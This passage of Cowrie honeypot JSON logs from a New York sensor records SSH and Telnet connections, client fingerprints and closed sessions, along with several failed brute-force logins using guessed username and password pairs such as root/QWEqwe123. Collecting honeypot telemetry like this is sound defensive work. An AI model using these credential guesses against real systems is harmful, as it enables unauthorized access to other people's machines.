{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:46.699264Z","src_ip":"31.40.204.166","session":"3752964bdc69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42138,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4960ee987a","protocol":"telnet","message":"New connection: 152.42.224.71:42138 (10.17.0.5:23) [session: 2a4960ee987a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:47.047424Z"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:47.290359Z","src_ip":"31.40.204.166","session":"3752964bdc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:48.418768Z","src_ip":"31.40.204.166","session":"3752964bdc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.86897873878479,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:50.179503Z","src_ip":"189.131.71.115","session":"8a933e327eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":56184,"dst_ip":"159.203.135.109","dst_port":22,"session":"154ef27fa27b","protocol":"ssh","message":"New connection: 43.156.227.3:56184 (159.203.135.109:22) [session: 154ef27fa27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:51.832654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:51.837938Z","src_ip":"43.156.227.3","session":"154ef27fa27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:52.076537Z","src_ip":"43.156.227.3","session":"154ef27fa27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@ditzu123","message":"login attempt [root/A@ditzu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:53.056476Z","src_ip":"43.156.227.3","session":"154ef27fa27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.55911207199097,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:53.598852Z","src_ip":"152.42.224.71","session":"2c080dd6498e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:54.297153Z","src_ip":"43.156.227.3","session":"154ef27fa27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.06221580505371,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:58.767370Z","src_ip":"152.42.224.71","session":"e2df63eb11d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59410,"dst_ip":"159.203.135.109","dst_port":22,"session":"61998e2babe8","protocol":"ssh","message":"New connection: 31.40.204.166:59410 (159.203.135.109:22) [session: 61998e2babe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:59.479858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:59.487819Z","src_ip":"31.40.204.166","session":"61998e2babe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:59.618322Z","src_ip":"31.40.204.166","session":"61998e2babe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:00.099130Z","src_ip":"31.40.204.166","session":"61998e2babe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35438,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5b10286aea","protocol":"telnet","message":"New connection: 152.42.224.71:35438 (10.17.0.5:23) [session: cf5b10286aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:01.059617Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:01.314208Z","src_ip":"31.40.204.166","session":"61998e2babe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":23734,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6d6acf7a51","protocol":"ssh","message":"New connection: 101.36.108.213:23734 (159.203.135.109:22) [session: 6c6d6acf7a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:01.647124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:01.654279Z","src_ip":"101.36.108.213","session":"6c6d6acf7a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:01.874080Z","src_ip":"101.36.108.213","session":"6c6d6acf7a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40914,"dst_ip":"10.17.0.5","dst_port":22,"session":"6054543fdb3e","protocol":"ssh","message":"New connection: 147.45.197.250:40914 (10.17.0.5:22) [session: 6054543fdb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.288375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.296761Z","src_ip":"147.45.197.250","session":"6054543fdb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.401066Z","src_ip":"147.45.197.250","session":"6054543fdb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":59846,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf45d111dbf","protocol":"ssh","message":"New connection: 119.28.115.94:59846 (159.203.135.109:22) [session: acf45d111dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.515230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.520920Z","src_ip":"119.28.115.94","session":"acf45d111dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2a3z","message":"login attempt [root/1q2a3z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.689299Z","src_ip":"147.45.197.250","session":"6054543fdb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infoadm","message":"login attempt [root/infoadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.758974Z","src_ip":"101.36.108.213","session":"6c6d6acf7a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:02.765670Z","src_ip":"119.28.115.94","session":"acf45d111dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.24888491630554,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:03.257944Z","src_ip":"152.42.224.71","session":"f2e9048f26cc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1234","message":"login attempt [root/qwe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:03.744651Z","src_ip":"119.28.115.94","session":"acf45d111dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:03.784530Z","src_ip":"147.45.197.250","session":"6054543fdb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:03.982532Z","src_ip":"101.36.108.213","session":"6c6d6acf7a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:04.992011Z","src_ip":"119.28.115.94","session":"acf45d111dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"d07e831d4cf6","protocol":"telnet","message":"New connection: 152.42.224.71:35448 (10.17.0.5:23) [session: d07e831d4cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:05.322265Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35694,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc81ee5131ab","protocol":"telnet","message":"New connection: 152.42.224.71:35694 (10.17.0.5:23) [session: dc81ee5131ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:07.210692Z"}
{"eventid":"cowrie.session.closed","duration":28.16413712501526,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:08.378948Z","src_ip":"152.42.224.71","session":"d54c03d5cbfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.06101131439209,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:10.929280Z","src_ip":"152.42.224.71","session":"e4ac90c20552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53842,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c6b21e4d3e","protocol":"ssh","message":"New connection: 31.40.204.166:53842 (159.203.135.109:22) [session: 02c6b21e4d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:11.689173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:11.694408Z","src_ip":"31.40.204.166","session":"02c6b21e4d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:11.820613Z","src_ip":"31.40.204.166","session":"02c6b21e4d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.237029790878296,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:11.972176Z","src_ip":"152.42.224.71","session":"e0a5254d4fc7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:12.425166Z","src_ip":"31.40.204.166","session":"02c6b21e4d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":38940,"dst_ip":"159.203.135.109","dst_port":22,"session":"232128527db4","protocol":"ssh","message":"New connection: 43.134.228.151:38940 (159.203.135.109:22) [session: 232128527db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:12.954059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:12.962471Z","src_ip":"43.134.228.151","session":"232128527db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 